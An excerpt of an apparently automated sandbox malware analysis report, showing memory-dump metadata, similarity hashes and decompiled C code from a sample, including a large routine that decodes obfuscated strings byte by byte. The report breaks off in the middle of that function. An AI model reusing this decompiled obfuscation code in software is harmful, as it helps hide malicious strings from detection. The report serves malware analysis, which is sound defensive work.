    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: AllocateHeap
    • String ID:
    • API String ID: 1279760036-0
    • Opcode ID: e93600a07e0b0dc68d7ed60da23419b848dbc568dbf1889f51aed185909c9c51
    • Instruction ID: 8067d88e5f1acb0f369643a1b22209284724d5314190065af04b305433ff5438
    • Opcode Fuzzy Hash: e93600a07e0b0dc68d7ed60da23419b848dbc568dbf1889f51aed185909c9c51
    • Instruction Fuzzy Hash: 7CE0ED32A402255BDB2036679C05B5B774C9F027B2F080220EE8592AD4DBA4CC40B1E2
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F301A0 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F301A0(_Unknown_base(*)()* _a4, void* _a8) {
				intOrPtr _t5;
				void* _t7;
				intOrPtr _t8;
				void* _t9;
				intOrPtr _t11;
				void* _t13;
				void* _t14;

				_t5 =  *0xf4c2ec; // 0xddcc10
				if( *((intOrPtr*)(_t5 + 0x6c)) == 0) {
					_t8 = E00F222A0(_t9, 0, 0, _t13, _t14, 0x3a4532be);
					_t11 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t11 + 0x6c)) = _t8;
				}
				_t7 = CreateThread(0, 0, _a4, _a8, 0, 0); // executed
				return _t7;
			}










    0x00f301a3
    0x00f301ad
    0x00f301b8
    0x00f301bd
    0x00f301c3
    0x00f301c3
    0x00f301d4
    0x00f301d7

    APIs
    • CreateThread.KERNELBASE(00000000,00000000,?,?,00000000,00000000), ref: 00F301D4
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: CreateThread
    • String ID:
    • API String ID: 2422867632-0
    • Opcode ID: 4e1edde2244071e69ca71317f5db7f5e1b17e06c69c28c2fd4f52330df05e888
    • Instruction ID: e3a495cf3f80f04ec07df7dd189261b22021c05fd1e951e24157cf2a71c20123
    • Opcode Fuzzy Hash: 4e1edde2244071e69ca71317f5db7f5e1b17e06c69c28c2fd4f52330df05e888
    • Instruction Fuzzy Hash: 79E086353512087BE750DFE19C11F1533559744710F10C01ABE109E2D1D6B1E500AA44
    Uniqueness

    Uniqueness Score: -1.00%

    Non-executed Functions

    Function 00F28ABE Relevance: 586.0, Strings: 467, Instructions: 2216COMMONCrypto
    Download Yara Rule
    C-Code - Quality: 76%
    			E00F28ABE(intOrPtr __eax, signed int __ebx, void* __edi) {
				intOrPtr _t2087;
				intOrPtr* _t2088;
				void* _t2089;
				signed int _t2503;
				intOrPtr _t2517;
				void* _t2520;
				void* _t2525;
				void* _t2534;
				void* _t2539;
				void* _t2554;
				void* _t2555;
				void* _t2556;
				void* _t2565;
				void* _t2570;
				void* _t2579;
				void* _t2584;
				void* _t2599;
				void* _t2600;
				void* _t2601;
				void* _t2610;
				void* _t2615;
				void* _t2747;
				signed int _t2750;
				void* _t2753;
				void* _t2754;
				void* _t2755;
				void* _t2756;
				void* _t2757;
				void* _t2758;
				void* _t2759;
				void* _t2760;
				void* _t2761;
				void* _t2762;
				void* _t2763;
				void* _t2764;
				void* _t2765;
				void* _t2766;
				void* _t2767;
				void* _t2768;
				void* _t2769;
				void* _t2770;
				void* _t2771;
				void* _t2772;
				void* _t2773;
				void* _t2774;
				void* _t2775;
				void* _t2776;
				void* _t2777;
				void* _t2778;
				void* _t2779;
				void* _t2780;
				void* _t2781;
				void* _t2782;
				void* _t2783;
				void* _t2784;
				void* _t2785;
				void* _t2786;
				void* _t2787;
				void* _t2788;
				void* _t2789;
				void* _t2790;
				void* _t2791;
				void* _t2792;
				void* _t2793;
				void* _t2794;
				void* _t2795;
				void* _t2796;
				signed int _t2797;
				void* _t2798;

				_t2747 = __edi;
				_t2503 = __ebx;
				 *((intOrPtr*)(_t2798 - 0x9ec)) = __eax;
				 *((char*)(_t2798 - 0x360)) = 0;
				 *((char*)(_t2798 - 0x35f)) = 0x6f;
				 *((char*)(_t2798 - 0x35e)) = 3;
				 *((char*)(_t2798 - 0x35d)) = 0x44;
				 *((char*)(_t2798 - 0x35c)) = 3;
				 *((char*)(_t2798 - 0x35b)) = 0x13;
				 *((char*)(_t2798 - 0x35a)) = 3;
				 *((char*)(_t2798 - 0x359)) = 0x3e;
				 *((char*)(_t2798 - 0x358)) = 3;
				 *((char*)(_t2798 - 0x357)) = 3;
				 *((char*)(_t2798 - 0x356)) = 3;
				if( *((char*)(_t2798 - 0x360)) == 0) {
					_t2797 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2797 - 0x35f) = (((( *(_t2798 + _t2797 - 0x35f) & 0x000000ff) - 3 << 5) - ( *(_t2798 + _t2797 - 0x35f) & 0x000000ff) - 3) % __ebx + 0x7f) % __ebx;
						_t2797 = _t2797 + 1;
					} while (_t2797 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9e8)) = _t2798 - 0x35f;
				 *((char*)(_t2798 - 0x79c)) = 0;
				 *((char*)(_t2798 - 0x79b)) = 0x55;
				 *((char*)(_t2798 - 0x79a)) = 0xc;
				 *((char*)(_t2798 - 0x799)) = 0x2b;
				 *((char*)(_t2798 - 0x798)) = 0xc;
				 *((char*)(_t2798 - 0x797)) = 4;
				 *((char*)(_t2798 - 0x796)) = 0xc;
				 *((char*)(_t2798 - 0x795)) = 0x59;
				 *((char*)(_t2798 - 0x794)) = 0xc;
				 *((char*)(_t2798 - 0x793)) = 0xc;
				 *((char*)(_t2798 - 0x792)) = 0xc;
				 *((intOrPtr*)(_t2798 - 0x9e4)) = E00F2F580(_t2798 - 0x79c);
				 *((char*)(_t2798 - 0x36c)) = 0;
				 *((char*)(_t2798 - 0x36b)) = 0x53;
				 *((char*)(_t2798 - 0x36a)) = 0x31;
				 *((char*)(_t2798 - 0x369)) = 0x35;
				 *((char*)(_t2798 - 0x368)) = 0x31;
				 *((char*)(_t2798 - 0x367)) = 7;
				 *((char*)(_t2798 - 0x366)) = 0x31;
				 *((char*)(_t2798 - 0x365)) = 0x19;
				 *((char*)(_t2798 - 0x364)) = 0x31;
				 *((char*)(_t2798 - 0x363)) = 0x31;
				 *((char*)(_t2798 - 0x362)) = 0x31;
				if( *((char*)(_t2798 - 0x36c)) == 0) {
					_t2796 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2796 - 0x36b) = ((0x31 - ( *(_t2798 + _t2796 - 0x36b) & 0x000000ff) + 0x188 << 2) % _t2503 + 0x7f) % _t2503;
						_t2796 = _t2796 + 1;
					} while (_t2796 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9e0)) = _t2798 - 0x36b;
				 *((char*)(_t2798 - 0x18)) = 0;
				 *((char*)(_t2798 - 0x17)) = 0x5e;
				 *((char*)(_t2798 - 0x16)) = 0x1e;
				 *((char*)(_t2798 - 0x15)) = 0x2d;
				 *((char*)(_t2798 - 0x14)) = 0x1e;
				 *((char*)(_t2798 - 0x13)) = 0x17;
				 *((char*)(_t2798 - 0x12)) = 0x1e;
				 *((char*)(_t2798 - 0x11)) = 0x1e;
				 *((char*)(_t2798 - 0x10)) = 0x1e;
				if( *((char*)(_t2798 - 0x18)) == 0) {
					_t2795 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2795 - 0x17) = ((0x1e - ( *(_t2798 + _t2795 - 0x17) & 0x000000ff)) * 0x23 % _t2503 + 0x7f) % _t2503;
						_t2795 = _t2795 + 1;
					} while (_t2795 < 8);
				}
				 *((intOrPtr*)(_t2798 - 0x9dc)) = _t2798 - 0x17;
				 *((char*)(_t2798 - 0x378)) = 0;
				 *((char*)(_t2798 - 0x377)) = 0x79;
				 *((char*)(_t2798 - 0x376)) = 0x7b;
				 *((char*)(_t2798 - 0x375)) = 0x3f;
				 *((char*)(_t2798 - 0x374)) = 0x7b;
				 *((char*)(_t2798 - 0x373)) = 0x18;
				 *((char*)(_t2798 - 0x372)) = 0x7b;
				 *((char*)(_t2798 - 0x371)) = 0x26;
				 *((char*)(_t2798 - 0x370)) = 0x7b;
				 *((char*)(_t2798 - 0x36f)) = 0x7b;
				 *((char*)(_t2798 - 0x36e)) = 0x7b;
				if( *((char*)(_t2798 - 0x378)) == 0) {
					_t2794 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2794 - 0x377) = ((0x7b - ( *(_t2798 + _t2794 - 0x377) & 0x000000ff)) * 0x17 % _t2503 + 0x7f) % _t2503;
						_t2794 = _t2794 + 1;
					} while (_t2794 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9d8)) = _t2798 - 0x377;
				 *((char*)(_t2798 - 0x5d4)) = 0;
				 *((char*)(_t2798 - 0x5d3)) = 0x10;
				 *((char*)(_t2798 - 0x5d2)) = 0x76;
				 *((char*)(_t2798 - 0x5d1)) = 0x6a;
				 *((char*)(_t2798 - 0x5d0)) = 0x76;
				 *((char*)(_t2798 - 0x5cf)) = 0x4b;
				 *((char*)(_t2798 - 0x5ce)) = 0x76;
				 *((char*)(_t2798 - 0x5cd)) = 0x54;
				 *((char*)(_t2798 - 0x5cc)) = 0x76;
				 *((char*)(_t2798 - 0x5cb)) = 0x69;
				 *((char*)(_t2798 - 0x5ca)) = 0x76;
				 *((char*)(_t2798 - 0x5c9)) = 0x76;
				 *((char*)(_t2798 - 0x5c8)) = 0x76;
				if( *((char*)(_t2798 - 0x5d4)) == 0) {
					_t2615 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2615 - 0x5d3) = ((( *(_t2798 + _t2615 - 0x5d3) & 0x000000ff) - 0x76 + (( *(_t2798 + _t2615 - 0x5d3) & 0x000000ff) - 0x76) * 2 << 2) % _t2503 + 0x7f) % _t2503;
						_t2615 = _t2615 + 1;
					} while (_t2615 < 0xc);
				}
				 *((intOrPtr*)(_t2798 - 0x9d4)) = _t2798 - 0x5d3;
				 *((char*)(_t2798 - 0x7f0)) = 0;
				 *((char*)(_t2798 - 0x7ef)) = 0x16;
				 *((char*)(_t2798 - 0x7ee)) = 0x39;
				 *((char*)(_t2798 - 0x7ed)) = 0x17;
				 *((char*)(_t2798 - 0x7ec)) = 0x39;
				 *((char*)(_t2798 - 0x7eb)) = 0x2d;
				 *((char*)(_t2798 - 0x7ea)) = 0x39;
				 *((char*)(_t2798 - 0x7e9)) = 7;
				 *((char*)(_t2798 - 0x7e8)) = 0x39;
				 *((char*)(_t2798 - 0x7e7)) = 0x39;
				 *((char*)(_t2798 - 0x7e6)) = 0x39;
				 *((intOrPtr*)(_t2798 - 0x9d0)) = E00F2F520(_t2798 - 0x7f0);
				 *((char*)(_t2798 - 0x384)) = 0;
				 *((char*)(_t2798 - 0x383)) = 0x77;
				 *((char*)(_t2798 - 0x382)) = 0x6c;
				 *((char*)(_t2798 - 0x381)) = 0x3c;
				 *((char*)(_t2798 - 0x380)) = 0x6c;
				 *((char*)(_t2798 - 0x37f)) = 0x1b;
				 *((char*)(_t2798 - 0x37e)) = 0x6c;
				 *((char*)(_t2798 - 0x37d)) = 0x15;
				 *((char*)(_t2798 - 0x37c)) = 0x6c;
				 *((char*)(_t2798 - 0x37b)) = 0x6c;
				 *((char*)(_t2798 - 0x37a)) = 0x6c;
				if( *((char*)(_t2798 - 0x384)) == 0) {
					_t2793 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2793 - 0x383) = ((0x6c - ( *(_t2798 + _t2793 - 0x383) & 0x000000ff)) * 0x2a % _t2503 + 0x7f) % _t2503;
						_t2793 = _t2793 + 1;
					} while (_t2793 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9cc)) = _t2798 - 0x383;
				 *((char*)(_t2798 - 0x390)) = 0;
				 *((char*)(_t2798 - 0x38f)) = 0x51;
				 *((char*)(_t2798 - 0x38e)) = 0x3d;
				 *((char*)(_t2798 - 0x38d)) = 0x2b;
				 *((char*)(_t2798 - 0x38c)) = 0x3d;
				 *((char*)(_t2798 - 0x38b)) = 0x4d;
				 *((char*)(_t2798 - 0x38a)) = 0x3d;
				 *((char*)(_t2798 - 0x389)) = 0x56;
				 *((char*)(_t2798 - 0x388)) = 0x3d;
				 *((char*)(_t2798 - 0x387)) = 0x3d;
				 *((char*)(_t2798 - 0x386)) = 0x3d;
				if( *((char*)(_t2798 - 0x390)) == 0) {
					_t2792 = 0;
					do {
						_t216 = _t2792 - 0x38f; // 0x51
						asm("cdq");
						asm("cdq");
						 *((char*)(_t2798 + _t2792 - 0x38f)) = (((( *(_t2798 + _t216) & 0x000000ff) - 0x3d << 4) - ( *(_t2798 + _t216) & 0x000000ff) - 0x3d) % _t2503 + 0x7f) % _t2503;
						_t2792 = _t2792 + 1;
					} while (_t2792 < 0xa);
				}
				_t228 = _t2798 - 0x38f; // 0x51
				 *((intOrPtr*)(_t2798 - 0x9c8)) = _t228;
				 *((char*)(_t2798 - 0x39c)) = 0;
				 *((char*)(_t2798 - 0x39b)) = 0x35;
				 *((char*)(_t2798 - 0x39a)) = 0x54;
				 *((char*)(_t2798 - 0x399)) = 0x17;
				 *((char*)(_t2798 - 0x398)) = 0x54;
				 *((char*)(_t2798 - 0x397)) = 0x5a;
				 *((char*)(_t2798 - 0x396)) = 0x54;
				 *((char*)(_t2798 - 0x395)) = 0x61;
				 *((char*)(_t2798 - 0x394)) = 0x54;
				 *((char*)(_t2798 - 0x393)) = 0x54;
				 *((char*)(_t2798 - 0x392)) = 0x54;
				if( *((char*)(_t2798 - 0x39c)) == 0) {
					_t2610 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2610 - 0x39b) = ((( *(_t2798 + _t2610 - 0x39b) & 0x000000ff) - 0x54) * 0x13 % _t2503 + 0x7f) % _t2503;
						_t2610 = _t2610 + 1;
					} while (_t2610 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9c4)) = _t2798 - 0x39b;
				 *((char*)(_t2798 - 0x3a8)) = 0;
				 *((char*)(_t2798 - 0x3a7)) = 0x65;
				 *((char*)(_t2798 - 0x3a6)) = 0x5d;
				 *((char*)(_t2798 - 0x3a5)) = 0x23;
				 *((char*)(_t2798 - 0x3a4)) = 0x5d;
				 *((char*)(_t2798 - 0x3a3)) = 0x40;
				 *((char*)(_t2798 - 0x3a2)) = 0x5d;
				 *((char*)(_t2798 - 0x3a1)) = 0x37;
				 *((char*)(_t2798 - 0x3a0)) = 0x5d;
				 *((char*)(_t2798 - 0x39f)) = 0x5d;
				 *((char*)(_t2798 - 0x39e)) = 0x5d;
				if( *((char*)(_t2798 - 0x3a8)) == 0) {
					_t2791 = 0;
					do {
						_t272 = _t2791 - 0x3a7; // 0x65
						asm("cdq");
						asm("cdq");
						 *((char*)(_t2798 + _t2791 - 0x3a7)) = ((0x5d - ( *(_t2798 + _t272) & 0x000000ff)) * 0x1a % _t2503 + 0x7f) % _t2503;
						_t2791 = _t2791 + 1;
					} while (_t2791 < 0xa);
				}
				_t284 = _t2798 - 0x3a7; // 0x65
				 *((intOrPtr*)(_t2798 - 0x9c0)) = _t284;
				 *((char*)(_t2798 - 0x3b4)) = 0;
				 *((char*)(_t2798 - 0x3b3)) = 0x48;
				 *((char*)(_t2798 - 0x3b2)) = 4;
				 *((char*)(_t2798 - 0x3b1)) = 0x1a;
				 *((char*)(_t2798 - 0x3b0)) = 4;
				 *((char*)(_t2798 - 0x3af)) = 0x16;
				 *((char*)(_t2798 - 0x3ae)) = 4;
				 *((char*)(_t2798 - 0x3ad)) = 1;
				 *((char*)(_t2798 - 0x3ac)) = 4;
				 *((char*)(_t2798 - 0x3ab)) = 4;
				 *((char*)(_t2798 - 0x3aa)) = 4;
				if( *((char*)(_t2798 - 0x3b4)) == 0) {
					_t2790 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2790 - 0x3b3) = ((4 - ( *(_t2798 + _t2790 - 0x3b3) & 0x000000ff) + 0x20 + 4 - ( *(_t2798 + _t2790 - 0x3b3) & 0x000000ff) + 0x20) % _t2503 + 0x7f) % _t2503;
						_t2790 = _t2790 + 1;
					} while (_t2790 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9bc)) = _t2798 - 0x3b3;
				 *((char*)(_t2798 - 0x3c0)) = 0;
				 *((char*)(_t2798 - 0x3bf)) = 0x12;
				 *((char*)(_t2798 - 0x3be)) = 0x6f;
				 *((char*)(_t2798 - 0x3bd)) = 0x7a;
				 *((char*)(_t2798 - 0x3bc)) = 0x6f;
				 *((char*)(_t2798 - 0x3bb)) = 0x78;
				 *((char*)(_t2798 - 0x3ba)) = 0x6f;
				 *((char*)(_t2798 - 0x3b9)) = 0x71;
				 *((char*)(_t2798 - 0x3b8)) = 0x6f;
				 *((char*)(_t2798 - 0x3b7)) = 0x6f;
				 *((char*)(_t2798 - 0x3b6)) = 0x6f;
				if( *((char*)(_t2798 - 0x3c0)) == 0) {
					_t2789 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2789 - 0x3bf) = ((0x6f - ( *(_t2798 + _t2789 - 0x3bf) & 0x000000ff) + 0x378 << 2) % _t2503 + 0x7f) % _t2503;
						_t2789 = _t2789 + 1;
					} while (_t2789 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9b8)) = _t2798 - 0x3bf;
				 *((char*)(_t2798 - 0x3cc)) = 0;
				 *((char*)(_t2798 - 0x3cb)) = 0x2a;
				 *((char*)(_t2798 - 0x3ca)) = 0x4e;
				 *((char*)(_t2798 - 0x3c9)) = 0x1d;
				 *((char*)(_t2798 - 0x3c8)) = 0x4e;
				 *((char*)(_t2798 - 0x3c7)) = 0x6b;
				 *((char*)(_t2798 - 0x3c6)) = 0x4e;
				 *((char*)(_t2798 - 0x3c5)) = 0xe;
				 *((char*)(_t2798 - 0x3c4)) = 0x4e;
				 *((char*)(_t2798 - 0x3c3)) = 0x4e;
				 *((char*)(_t2798 - 0x3c2)) = 0x4e;
				if( *((char*)(_t2798 - 0x3cc)) == 0) {
					_t2788 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2788 - 0x3cb) = (((( *(_t2798 + _t2788 - 0x3cb) & 0x000000ff) - 0x4e << 4) + ( *(_t2798 + _t2788 - 0x3cb) & 0x000000ff) - 0x4e + (( *(_t2798 + _t2788 - 0x3cb) & 0x000000ff) - 0x4e << 4) + ( *(_t2798 + _t2788 - 0x3cb) & 0x000000ff) - 0x4e) % _t2503 + 0x7f) % _t2503;
						_t2788 = _t2788 + 1;
					} while (_t2788 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9b4)) = _t2798 - 0x3cb;
				 *((char*)(_t2798 - 0x3d8)) = 0;
				 *((char*)(_t2798 - 0x3d7)) = 0x5a;
				 *((char*)(_t2798 - 0x3d6)) = 0x49;
				 *((char*)(_t2798 - 0x3d5)) = 0xf;
				 *((char*)(_t2798 - 0x3d4)) = 0x49;
				 *((char*)(_t2798 - 0x3d3)) = 0x79;
				 *((char*)(_t2798 - 0x3d2)) = 0x49;
				 *((char*)(_t2798 - 0x3d1)) = 0x36;
				 *((char*)(_t2798 - 0x3d0)) = 0x49;
				 *((char*)(_t2798 - 0x3cf)) = 0x49;
				 *((char*)(_t2798 - 0x3ce)) = 0x49;
				if( *((char*)(_t2798 - 0x3d8)) == 0) {
					_t2601 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2601 - 0x3d7) = ((( *(_t2798 + _t2601 - 0x3d7) & 0x000000ff) - 0x49) * 0x37 % _t2503 + 0x7f) % _t2503;
						_t2601 = _t2601 + 1;
					} while (_t2601 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9b0)) = _t2798 - 0x3d7;
				 *((char*)(_t2798 - 0x3e4)) = 0;
				 *((char*)(_t2798 - 0x3e3)) = 0x25;
				 *((char*)(_t2798 - 0x3e2)) = 0xc;
				 *((char*)(_t2798 - 0x3e1)) = 0x6a;
				 *((char*)(_t2798 - 0x3e0)) = 0xc;
				 *((char*)(_t2798 - 0x3df)) = 0x69;
				 *((char*)(_t2798 - 0x3de)) = 0xc;
				 *((char*)(_t2798 - 0x3dd)) = 0x4a;
				 *((char*)(_t2798 - 0x3dc)) = 0xc;
				 *((char*)(_t2798 - 0x3db)) = 0xc;
				 *((char*)(_t2798 - 0x3da)) = 0xc;
				if( *((char*)(_t2798 - 0x3e4)) == 0) {
					_t2600 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2600 - 0x3e3) = ((( *(_t2798 + _t2600 - 0x3e3) & 0x000000ff) - 0xc + (( *(_t2798 + _t2600 - 0x3e3) & 0x000000ff) - 0xc) * 2 << 2) % _t2503 + 0x7f) % _t2503;
						_t2600 = _t2600 + 1;
					} while (_t2600 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9ac)) = _t2798 - 0x3e3;
				 *((char*)(_t2798 - 0x3f0)) = 0;
				 *((char*)(_t2798 - 0x3ef)) = 0x5c;
				 *((char*)(_t2798 - 0x3ee)) = 0x3f;
				 *((char*)(_t2798 - 0x3ed)) = 0x6a;
				 *((char*)(_t2798 - 0x3ec)) = 0x3f;
				 *((char*)(_t2798 - 0x3eb)) = 0x2c;
				 *((char*)(_t2798 - 0x3ea)) = 0x3f;
				 *((char*)(_t2798 - 0x3e9)) = 0x23;
				 *((char*)(_t2798 - 0x3e8)) = 0x3f;
				 *((char*)(_t2798 - 0x3e7)) = 0x3f;
				 *((char*)(_t2798 - 0x3e6)) = 0x3f;
				if( *((char*)(_t2798 - 0x3f0)) == 0) {
					_t2599 = 0;
					do {
						_t446 = _t2599 - 0x3ef; // 0x5c
						asm("cdq");
						asm("cdq");
						 *((char*)(_t2798 + _t2599 - 0x3ef)) = ((( *(_t2798 + _t446) & 0x000000ff) - 0x3f) * 0x29 % _t2503 + 0x7f) % _t2503;
						_t2599 = _t2599 + 1;
					} while (_t2599 < 0xa);
				}
				_t458 = _t2798 - 0x3ef; // 0x5c
				 *((intOrPtr*)(_t2798 - 0x9a8)) = _t458;
				 *((char*)(_t2798 - 0x3fc)) = 0;
				 *((char*)(_t2798 - 0x3fb)) = 0x5e;
				 *((char*)(_t2798 - 0x3fa)) = 0x10;
				 *((char*)(_t2798 - 0x3f9)) = 0x35;
				 *((char*)(_t2798 - 0x3f8)) = 0x10;
				 *((char*)(_t2798 - 0x3f7)) = 5;
				 *((char*)(_t2798 - 0x3f6)) = 0x10;
				 *((char*)(_t2798 - 0x3f5)) = 0x32;
				 *((char*)(_t2798 - 0x3f4)) = 0x10;
				 *((char*)(_t2798 - 0x3f3)) = 0x10;
				 *((char*)(_t2798 - 0x3f2)) = 0x10;
				if( *((char*)(_t2798 - 0x3fc)) == 0) {
					_t2787 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2787 - 0x3fb) = ((0x10 - ( *(_t2798 + _t2787 - 0x3fb) & 0x000000ff)) * 0x2d % _t2503 + 0x7f) % _t2503;
						_t2787 = _t2787 + 1;
					} while (_t2787 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x9a4)) = _t2798 - 0x3fb;
				 *((char*)(_t2798 - 0x408)) = 0;
				 *((char*)(_t2798 - 0x407)) = 0x3b;
				 *((char*)(_t2798 - 0x406)) = 0x27;
				 *((char*)(_t2798 - 0x405)) = 0x37;
				 *((char*)(_t2798 - 0x404)) = 0x27;
				 *((char*)(_t2798 - 0x403)) = 0xd;
				 *((char*)(_t2798 - 0x402)) = 0x27;
				 *((char*)(_t2798 - 0x401)) = 0x58;
				 *((char*)(_t2798 - 0x400)) = 0x27;
				 *((char*)(_t2798 - 0x3ff)) = 0x27;
				 *((char*)(_t2798 - 0x3fe)) = 0x27;
				if( *((char*)(_t2798 - 0x408)) == 0) {
					_t2786 = 0;
					do {
						_t502 = _t2786 - 0x407; // 0x3b
						asm("cdq");
						asm("cdq");
						 *((char*)(_t2798 + _t2786 - 0x407)) = (((( *(_t2798 + _t502) & 0x000000ff) - 0x27 << 4) - ( *(_t2798 + _t502) & 0x000000ff) - 0x27) % _t2503 + 0x7f) % _t2503;
						_t2786 = _t2786 + 1;
					} while (_t2786 < 0xa);
				}
				_t514 = _t2798 - 0x407; // 0x3b
				 *((intOrPtr*)(_t2798 - 0x9a0)) = _t514;
				 *((char*)(_t2798 - 0x414)) = 0;
				 *((char*)(_t2798 - 0x413)) = 0x21;
				 *((char*)(_t2798 - 0x412)) = 0x30;
				 *((char*)(_t2798 - 0x411)) = 0x37;
				 *((char*)(_t2798 - 0x410)) = 0x30;
				 *((char*)(_t2798 - 0x40f)) = 5;
				 *((char*)(_t2798 - 0x40e)) = 0x30;
				 *((char*)(_t2798 - 0x40d)) = 0x51;
				 *((char*)(_t2798 - 0x40c)) = 0x30;
				 *((char*)(_t2798 - 0x40b)) = 0x30;
				 *((char*)(_t2798 - 0x40a)) = 0x30;
				if( *((char*)(_t2798 - 0x414)) == 0) {
					_t2785 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2785 - 0x413) = ((0x30 - ( *(_t2798 + _t2785 - 0x413) & 0x000000ff) + 0xc0 << 2) % _t2503 + 0x7f) % _t2503;
						_t2785 = _t2785 + 1;
					} while (_t2785 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x99c)) = _t2798 - 0x413;
				 *((char*)(_t2798 - 0x5e4)) = 0;
				 *((char*)(_t2798 - 0x5e3)) = 0x42;
				 *((char*)(_t2798 - 0x5e2)) = 0x55;
				 *((char*)(_t2798 - 0x5e1)) = 0x3c;
				 *((char*)(_t2798 - 0x5e0)) = 0x55;
				 *((char*)(_t2798 - 0x5df)) = 0x50;
				 *((char*)(_t2798 - 0x5de)) = 0x55;
				 *((char*)(_t2798 - 0x5dd)) = 0xf;
				 *((char*)(_t2798 - 0x5dc)) = 0x55;
				 *((char*)(_t2798 - 0x5db)) = 0x79;
				 *((char*)(_t2798 - 0x5da)) = 0x55;
				 *((char*)(_t2798 - 0x5d9)) = 0x55;
				 *((char*)(_t2798 - 0x5d8)) = 0x55;
				if( *((char*)(_t2798 - 0x5e4)) == 0) {
					_t2784 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2784 - 0x5e3) = (((( *(_t2798 + _t2784 - 0x5e3) & 0x000000ff) - 0x55 << 5) - ( *(_t2798 + _t2784 - 0x5e3) & 0x000000ff) - 0x55) % _t2503 + 0x7f) % _t2503;
						_t2784 = _t2784 + 1;
					} while (_t2784 < 0xc);
				}
				 *((intOrPtr*)(_t2798 - 0x998)) = _t2798 - 0x5e3;
				 *((char*)(_t2798 - 0x420)) = 0;
				 *((char*)(_t2798 - 0x41f)) = 7;
				 *((char*)(_t2798 - 0x41e)) = 0x42;
				 *((char*)(_t2798 - 0x41d)) = 0x66;
				 *((char*)(_t2798 - 0x41c)) = 0x42;
				 *((char*)(_t2798 - 0x41b)) = 0x51;
				 *((char*)(_t2798 - 0x41a)) = 0x42;
				 *((char*)(_t2798 - 0x419)) = 4;
				 *((char*)(_t2798 - 0x418)) = 0x42;
				 *((char*)(_t2798 - 0x417)) = 0x42;
				 *((char*)(_t2798 - 0x416)) = 0x42;
				if( *((char*)(_t2798 - 0x420)) == 0) {
					_t2783 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2783 - 0x41f) = ((0x42 - ( *(_t2798 + _t2783 - 0x41f) & 0x000000ff) + 0x210 + 0x42 - ( *(_t2798 + _t2783 - 0x41f) & 0x000000ff) + 0x210) % _t2503 + 0x7f) % _t2503;
						_t2783 = _t2783 + 1;
					} while (_t2783 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x994)) = _t2798 - 0x41f;
				 *((char*)(_t2798 - 0x604)) = 0;
				 *((char*)(_t2798 - 0x603)) = 0x5e;
				 *((char*)(_t2798 - 0x602)) = 0x21;
				 *((char*)(_t2798 - 0x601)) = 0xd;
				 *((char*)(_t2798 - 0x600)) = 0x21;
				 *((char*)(_t2798 - 0x5ff)) = 0x43;
				 *((char*)(_t2798 - 0x5fe)) = 0x21;
				 *((char*)(_t2798 - 0x5fd)) = 0xb;
				 *((char*)(_t2798 - 0x5fc)) = 0x21;
				 *((char*)(_t2798 - 0x5fb)) = 0x20;
